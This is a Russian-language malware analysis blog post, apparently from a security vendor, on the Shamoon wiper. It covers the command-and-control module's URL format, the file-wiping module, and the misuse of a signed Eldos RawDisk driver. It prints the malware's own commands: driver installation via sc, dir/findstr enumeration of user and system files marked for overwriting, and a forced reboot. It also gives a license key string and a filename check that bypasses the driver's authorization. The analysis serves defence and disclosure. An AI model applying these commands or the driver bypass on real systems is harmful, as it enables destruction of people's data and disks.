Shamoon: детали (часть II)

После публикации технического описания вредоносной программы Shamoon, в прессе появились сообщения о том, что эта программа связана с атакой на компанию Saudi Aramco.

Присутствующая в теле программы дата и время соответствуют тем, которые были заявлены группой хакеров перед нанесением удара по компании Saudi Aramco как время начала атаки. Однако мы до сих пор не можем с уверенностью сказать, что Shamoon ответствен за ущерб, причиненный компьютерным системам Saudi Aramco.

А на прошлой неделе другая ближневосточная энергетическая компания, RasGas, стала жертвой вирусной атаки, и в прессе логично поставили вопрос о причастности Shamoon и к этому инциденту.

Оставляя догадки другим, мы концентрируемся на технической стороне вопроса. Этот пост является продолжением нашего исследования вредоносной программы Shamoon.

NETINIT.EXE

В основной программе Shamoon имеется ресурс PKCS7:113, содержащий исполняемый файл, который сохраняется на диск как %WINDIR%System32NETINIT.EXE. Эта программа является модулем общения с командным центром и запрограммирована на запуск с параметрами. Автор не был чересчур изобретателен и заложил обработку всего двух значений аргумента: ‘0’ и ‘1’.

Если значение аргумента ‘0’, то программа принимает второй аргумент как данные, которые необходимо отправить в URL с http get-запросом на командный центр. Вредоносная программа единожды соединяется с командным центром и завершает работу. Мы не обнаружили в коде Shamoon функционала по запуску программы netinit.exe с аргументом ‘0’.

Зато мы обнаружили, что netinit.exe запускается как ‘netinit.exe 1’. После запуска программа регулярно соединяется с командным центром, чтобы сообщить о себе и получить команды. Этот цикл завершается, как только другой деструктивный модуль создает файл %WINDIR%infnetfb318.pnf, сообщая тем самым, что пришло время зачищать данные и разрушать операционную систему.

Общение с центром управления

Адрес командного центра вшит в тело программы. Вообще, там присутствует 2 адреса. Это может быть строка ‘home’ или IP-адрес. Сначала программа пытается соединиться по адресу ‘home’, но с нашей стороны эти попытки соединения по очевидным причинам всегда были неудачными. Затем программа переходит к IP-адресу ‘10.1.252.19’. Для общения используется протокол HTTP с привлечением функций стандартной библиотеки Wininet: InternetOpen, InternetOpenUrl, InternetReadFile… И, конечно, InternetCloseHandle. URL, по которому происходит соединение, выглядит так:


http://<сервер управления>/ajax_modal/modal/data.asp?mydata=<_итерация>&uid=<локальный IP>&state=<случайное число>

например:


http://10.1.252.19/ajax_modal/modal/data.asp?mydata=_3&uid=192.168.150.130&state=1568062

Модуль общения Shamoon может принимать 2 команды от командного центра:
1. запустить другую программу;
2. установить контрольное время ‘убийства’ системы.

Программа, которую должен запустить модуль в случае получения соответствующей команды, передается с центра управления закодированной BASE64. Полученная программа сохраняется как %WINDIR%Tempfiler<случайное число>.exe и запускается. Такой сценарий сработал бы в идеальном мире. В действительности же эта часть модуля общения Shamoon не работает совсем. Все потому, что автор допустил еще одну ошибку (в дополнение к неправильному сравнению дат). Автор планировал создать строку полного пути к файлу ‘filer<случайное число>.exe’, используя функцию ‘sprintf’, где параметр формата должен был бы выглядеть так:

‘%s%s%d.%s’ со следующими параметрами: строка, содержащая путь каталога Windows, строка ‘Tempfiler’, случайное число и строка ‘exe’ соответственно.

Но вместо указанного выше правильного формата, вирусописатель использовал ‘%S%S%d.%s’ с большой буквой ‘S’. Это привело к тому, что функция ‘sprintf’ не ‘понимает’, чего от нее хотят, и не возвращает строку полного пути. Отсутствие полного пути означает, что никакой файл под именем ‘filer<случайное число>.exe’ не создается. Нет файла — нет запуска программы. Таким образом, в Shamoon отсутствует функционал запуска других программ по команде из центра управления.

Обработка второй команды запрограммирована была без ошибок. Если из центра управления приходит соответствующий контрольный код, netinit.exe создает файл %WINDIR%infnetft429.pnf. В этот файл записывается новая дата и время, которые указывают, когда Shamoon должен инициализировать функцию разрушения данных (вместо запрограммированных в теле программы). Мы уже писали, что основная программа Shamoon ищет этот файл, чтобы прочитать новую дату и время ‘смерти’ системы.

Переходим к следующему модулю.

PKCS12:112

Другой ресурс в основной программе — PKCS12:112. Он содержит зашифрованный исполняемый файл, который записывается на диск в каталог %WINDIR%System32 под именем из запрограммированного списка. Этот модуль ответственен за деструктивную активность вредоносной программы Shamoon и запускается строго в определенный момент.

Эта программа также ждет при запуске аргументы, но они незначительно влияют на ход ее исполнения. При этом запуск без аргументов покрывает весь функционал, поэтому мы расскажем только о том, что происходит при обычном запуске без аргументов.

Деструктивный модуль несет в себе ресурс READONE:101. Это зашифрованный драйвер, который записывается на диск как %WINDIR%System32DriversDRDISK.SYS. Драйвер запускается в самом начале исполнения деструктивного модуля с помощью таких командных строк:


sc create drdisk type= kernel start= demand binpath= System32Driversdrdisk.sys 2>&1 >nul
sc start drdisk 2>&1 >nul

Этот драйвер — подписанный компонент RawDisk, продукта от Eldos. В двух словах, RawDisk позволяет приложению пользовательского режима работать с файловой системой в тех случаях, когда операционная система запрещает приложению это делать. Вы можете интегрировать свой проект с RawDisk таким образом, что ваше ПО установит драйвер, который предоставляет доступ к файловой системе из уровня ядра через созданное устройство ‘ElRawDisk’. Конечно, при установке вашего программного обеспечения потребуются права администратора, чтобы установить драйвер, но впоследствии ваше приложение сможет работать с файловой системой без каких-либо ограничений, независимо от того, с какими привилегиями оно было запущено.

С точки зрения безопасности такой функционал настораживает. Операционная система ограничивает доступ к тем или иным объектам не ради прихоти, а потому, что некоторые из них критичны для жизнеспособности самой операционной системы. Если приложению требуются права на выполнение опасных операций, то такие права должны быть получены от самого пользователя, который, например, может запустить программу от имени администратора. Правда, в некоторых случаях (например, решение каких-то системных проблем) может быть полезно иметь доступ к файловой системе из уровня ядра даже приложениям, запущенным от имени администратора. Судя по всему, программное обеспечение RawDisk и предлагается как раз для таких случаев, но пользователю, который его применяет, надо хорошо понимать, что он делает.

Деструктивный модуль затирает файлы выборочно. Чтобы составить список файлов, программа запускает следующие командные строки:


dir «C:Documents and Settings» /s /b /a:-D 2>nul | findstr -i download 2>nul >f1.inf
dir «C:Documents and Settings» /s /b /a:-D 2>nul | findstr -i document 2>nul >>f1.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i download 2>nul >>f1.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i document 2>nul >>f1.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i picture 2>nul >>f1.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i video 2>nul >>f1.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i music 2>nul >>f1.inf
dir «C:Documents and Settings» /s /b /a:-D 2>nul | findstr -i desktop 2>nul >f2.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i desktop 2>nul >>f2.inf
dir C:WindowsSystem32Drivers /s /b /a:-D 2>nul >>f2.inf
dir C:WindowsSystem32Config /s /b /a:-D 2>nul | findstr -v -i systemprofile 2>nul >>f2.inf
dir f1.inf /s /b 2>nul >>f1.inf
dir f2.inf /s /b 2>nul >>f1.inf

В результате в каталоге %WINDIR%System32 создаются два файла ‘f1.inf’ и ‘f2.inf’. Они содержат полные пути к файлам, которые должны быть заполнены мусором. Мусор представляет собой фрагмент (1024/0x400 первых байт) JPEG-картинки горящего звездно-полосатого флага:

Наиболее известный источник этой картинки — Википедия. Картинка хранится там под именем ‘US_flag_burning.jpg’.

Судя по всему, эта картинка была выбрана намеренно, чтобы на нее без труда вышли исследователи.

Можно сказать, что процесс порчи файлов несколько избыточен — процедура заполнения мусором повторяется много раз, и каждый раз файлы заполняются идущими подряд фрагментами картинки и увеличиваются в размере. Апогеем этого безобразия является перезапись жесткого диска все теми же фрагментами JPEG-картинки. Здесь и происходит порча записи MBR, после чего компьютер перестает загружать операционную систему.

Также программа пытается прочитать значения SystemBootDevice и FirmwareBootDevice по ветке реестра HKLMSYSTEMCurrentControlSetControl. Если удается, то она выделяет из значений вхождения ‘rdisk’ и ‘partition’. По умолчанию деструктивный модуль пытается открыть следующие разделы:

?ElRawDiskDeviceHarddisk[1-9]Partition[0-9]

Если найдены упомянутые значения в реестре, то программа попробует открыть объекты и по этим значениям дисков и разделов.

Судя по всему, автор Shamoon столкнулся с той же проблемой, что и авторы вредоносной программы Wiper. В современном мире необходимо время, чтобы заполнить весь жесткий диск даже статичными данными. Чтобы порча прошла эффективно, но побыстрее, необязательно затирать весь жесткий диск, достаточно переписать распределенные по всему жесткому диску части. Авторы Wiper справились с этой задачей несколько изящней, тогда как автор Shamoon сделал это скорее топорно.

Под конец деструктивный модуль Shamoon открывает устройство ?ElRawDiskDeviceHarddisk0Partition0 и начинает записывать по 0x30000 байт идущих друг за другом JPEG фрагментов. Перезаписав 192 килобайта, Shamoon ‘перепрыгивает’ далее по диску и перезаписывает следующую его часть. Смещение вычисляется на основе размера диска. Например, на моей виртуальной машине с 3-гигабайтным виртуальным жестким диском вычисляемое значение равнялось 0x1000000 байтам, то есть 16 Мб. Сложно сказать, какие данные при таком подходе будут утеряны безвозвратно, а какие останутся нетронутыми. Это зависит от того, в файлах каких размеров содержатся данные на зараженном компьютере, и как эти файлы распределены физически на жестком диске.

В некоторых случаях, когда затертыми оказываются данные в критических для операционной системы областях, компьютер может перезагрузиться. Если этого не происходит, то Shamoon, перезаписывает части диска, пока не доходит до его конца.

После выполнения этой операции вредоносная программа выполняет командную строку ‘shutdown -r -f -t 2’, принудительно перезагружая компьютер.

Драйвер Eldos

То, что автор Shamoon использовал легальный подписанный драйвер от программного обеспечения RawDisk от Eldos — довольно странно. Сначала мы решили, что это было сделано для того, чтобы вообще иметь возможность перезаписи MBR в ОС Windows 7. Но оказалось, что Windows 7 и так дает доступ к этой области программам, запущенным от имени администратора. Но для того, чтобы нормально отработать, Shamoon и так требуются права администратора (чтобы установить тот же драйвер, как минимум), так что непонятно, для чего автор Shamoon решил использовать легитимный драйвер.

Эксперты по IT-безопасности уже не раз поднимали вопрос о том, что злоумышленники могут воспользоваться возможностями легального ПО, работающего на уровне ядра, если в этих приложениях реализована недостаточно надежная авторизация кода, вызывающего функции драйверов. Давайте посмотрим, каким образом автору Shamoon удалось использовать функционал драйвера Eldos.

На сайте Eldos вы можете скачать пробную версию программы RawDisk, которая состоит из файлов заголовков (header), файлов библиотек (lib, dll) и скомпилированных в release/debug режимах под 32- и 64-битные платформы драйверов. Вам предлагается интегрировать эти заготовки RawDisk с вашим проектом, после чего через драйвер RawDisk ваше приложение сможет получить доступ с уровня ядра к файловой системе.

Как бы то ни было, в драйвере все-таки имеется механизм авторизации. Если мы посмотрим на функцию открытия дескриптора из API RawDisk ‘Open’:

HANDLE Open(IN LPCWSTR DeviceName, IN DWORD DesiredAccess, IN LPCWSTR LicenseKey)

то мы заметим параметр лицензионного ключа ‘LicenseKey’.

Такой ключ присутствует и в Shamoon. Когда деструктивный модуль открывает дескриптор на устройстве ElRawDisk, он добавляет к названию устройства строку, похожую как раз на некий ключ, например:

?ElRawDiskDeviceHarddisk0Partition0#8F71FF7E2831A05D0B88FDAACFAC818E936FCAAA453404180419662BED76E9D70384F056F03ADF3C917CB8C3EE12832F7A7EC3E234BC7FBD0476CFC9F58AC1A1C248DA06E531D133A071

Стать обладателем такого ключа несложно: нужно просто сделать соответствующий запрос на сайте Eldos в процессе установки пакета RawDisk:

Вы заполняете форму для получения ключа на пробный период и получаете свой код на адрес электронной почты, указанный при регистрации. Естественно, предполагается, что вы можете использовать этот ключ только ограниченное время. И драйвер проверяет, не наступила ли дата окончания пробного периода. Вот почему мы видим, что каждый раз перед открытием устройства ElRawDisk вредоносная программа Shamoon меняет текущую дату в операционной системе: дата устанавливается на любое случайное число от 1-го до 20-го августа 2012 года.

Мы также заметили, что драйвер Eldos, используемый Shamoon, проверяет следующие значения, которые могут быть переданы в параметре названия устройства в самом начале строки этого параметра:


#{9A6DB7D2-FECF-41ff-9A92-6EDA696613DF}#
#{8A6DB7D2-FECF-41ff-9A92-6EDA696613DE}#

Это управляющие коды для драйвера, которые указывают ему, как точно обрабатывать запрос. Но Shamoon не пользуется этими кодами, когда вызывает функцию открытия устройства RawDisk.

Ну и, пожалуй, самое слабое условие проверки. Драйвер Eldos проверяет, называется ли программа, которая работает с файловой системой через драйвер, ‘RawDiskSample.exe’. Если это так, то драйвер ‘считает’, что обращение происходит от доверенной программы, и приложение получает ‘добро’ на работу с файловой системой через драйвер. Это практически делит на ноль все предыдущие потуги разработчиков предотвратить легкий доступ к функционалу драйвера посторонним программам и программам, у обладателей которых истек срок использования ПО RawDisk. Такое условие лучше убрать из кода драйвера совсем, это уж точно.

ВЫВОДЫ

Мы нашли достаточно доказательств, что люди, стоящие за созданием вредоносной программы Shamoon, не являются высококвалифицированными профессиональными программистами. Характер ошибок показывает, что они, скорее, любители, что, впрочем, не помешало им создать вполне пригодную самораспространяющуюся деструктивную вредоносную программу. Использование фрагмента картинки горящего флага США подсказывает, что авторы Shamoon руководствовались политическими мотивами в создании и использовании этой вредоносной программы. Более того, они желали, чтобы их протест, внесенный таким образом в код вредоносной программы, не остался незамеченным.

К сожалению, приходится констатировать, что предостережения о том, что легитимные программы уровня ядра могут быть использованы во вредоносных целях, основаны не на пустом месте. Разработчики драйверов всегда должны помнить о том, что люди, которые создают вредоносные программы, ищут скрытые пути, чтобы выйти на Ring0. Легитимные, тем более подписанные, драйверы, которые помогут им в этом — очень желаемая находка. Понятно, что эффективно препятствовать вызову функций драйвера от недоверенных приложений — задача нетривиальная. Но многие справляются с этой задачей и уже сейчас внедряют сложные методы авторизации кода, проверки вызовов и тому подобное. В наши дни недостаточно добавить простенькие заметные условия, так сказать, ‘защиту на дурачка’ — такая защита легко обходится и не сработает, когда это будет необходимо. Конечно, очень неприятно, когда твоя программа со слабыми проверками без твоего ведома участвует в кампаниях, наносящих кому-то вред. Лучше заранее озаботиться достойной защитой легитимных драйверов и сделать все возможное, чтобы предотвратить такие ситуации.

Постинги на схожие темы 

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *